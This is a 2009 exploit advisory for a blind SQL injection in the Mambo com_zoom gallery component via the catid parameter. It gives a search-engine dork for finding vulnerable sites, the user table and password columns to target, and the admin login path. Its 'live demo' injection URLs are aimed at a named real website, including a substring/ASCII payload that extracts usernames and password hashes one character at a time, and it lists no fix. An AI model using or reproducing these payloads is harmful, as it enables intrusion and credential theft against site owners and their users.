Mambo Component com_zoom (catid) Blind SQL Injection Vulnerability

2009-09-04 16:33:07

Mambo component com_zoom (catid) Blind SQL injection [_][-][X]
_ ___ _ ___ ___ ___ _____ __ ___ __ __ ___
| |/ / || |/ __|___ / __| _ \ __\ \ / / |_ ) \ / \/ _ \
| ' <| __ | (_ |___| (__| / _| \ \/\/ / / / () | () \_, /
|_|\_\_||_|\___| \___|_|_\___| \_/\_/ /___\__/ \__/ /_/


Red n'black i dress eagle on my chest.
It's good to be an ALBANIAN Keep my head up high for that flag i die.
Im proud to be an ALBANIAN
###################################################################

Author : boom3rang
Contact : boom3rang[at]live.com
Greetz : H!tm@N - KHG - cHs

R.I.P redc00de
-------------------------------------------------------------------

Affected software description
<name>zoom</name>
<creationDate>20/01/2004</creationDate>
<author>Mike de Boer</author>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.mikedeboer.nl</authorUrl>
<version>2.0</version>
-------------------------------------------------------------------

[~] SQLi :

http://www.TARGET.com/index.php?option=com_zoom&Itemid=0&catid=[SQLi]

[~]Google Dork :

inurl:com_zoom inurl:"imgid"

-------------------------------------------------------------------

[~] Table_NAME = mos_users
[~] Column_NAME = username - password
-------------------------------------------------------------------

[~] Admin Path :

http://www.TARGET.com/administrator

===================================================================
= POC =
===================================================================


[~] Live Demo:
ttp://www.sandervalkema.com/index.php?option=com_zoom&Itemid=0&catid=21/**/and/**/1=1/* --> True
ttp://www.sandervalkema.com/index.php?option=com_zoom&Itemid=0&catid=21/**/and/**/1=2/* --> False

-------------------------------------------------------------------

[~] ASCII
index.php?option=com_zoom&Itemid=0&catid=21/**/and/**/ascii(substring((SELECT/**/concat(username,0x3a,password)/**/from/**/mos_users limit 0,1),1,1))>96

-------------------------------------------------------------------

[~] Live Demo ASCII

True
http://www.sandervalkema.com/index.php?option=com_zoom&Itemid=0&catid=21/**/and/**/ascii(substring((SELECT/**/concat(username,0x3a,password)/**/from/**/mos_users limit 0,1),1,1))>96

False
http://www.sandervalkema.com/index.php?option=com_zoom&Itemid=0&catid=21/**/and/**/ascii(substring((SELECT/**/concat(username,0x3a,password)/**/from/**/mos_users limit 0,1),1,1))>97

Like we see, the first charter of username is 'a' char(97)=a
Now you can change the second limit to find other charters, Good Luck...

note:
<name>zoom</name>
<creationDate>20/01/2004</creationDate>
<author>Mike de Boer</author>
<authorEmail>[email protected]</authorEmail>
<authorUrl>www.mikedeboer.nl</authorUrl>
<version>2.0</version>

#

Fixes

No fixes

Per poter inviare un fix è necessario essere utenti registrati.